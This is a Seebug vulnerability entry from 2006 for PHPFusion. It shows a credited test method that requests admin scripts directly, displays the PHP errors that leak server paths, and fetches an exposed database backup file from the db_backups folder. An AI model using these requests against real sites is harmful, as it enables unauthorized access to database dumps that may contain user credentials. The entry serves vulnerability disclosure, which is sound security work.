PHPFusion数据库备份泄露漏洞 Exploit

2006-12-08T00:00:00
ID SSV:5771
Type seebug
Reporter Root
Modified 2006-12-08T00:00:00

Description

No description provided by source.

                                        
                                            
                                                Ahmad Muammar (y3dips@echo.or.id)提供了如下测试方法:

http://localhost/fusion/fusion_admin/updateuser.php

Warning: main(fusion_langdiradmin/admin_members.php): failed to open stream:
No such file or directory in /var/www/html/fusion/fusion_admin/updateuser.php on line 14

Fatal error: main(): Failed opening required 'fusion_langdiradmin/admin_members.php'
(include_path='.:/usr/share/pear') in /var/www/html/fusion/fusion_admin/updateuser.php on line 14


http://localhost/fusion/fusion_admin/forums_prune.php

Fatal error: Call to undefined function:
opentable() in /var/www/html/fusion/fusion_admin/forums_prune.php on line 14


http://localhost/fusion/fusion_admin/db_backups/backup_2004-08-17_1845.sql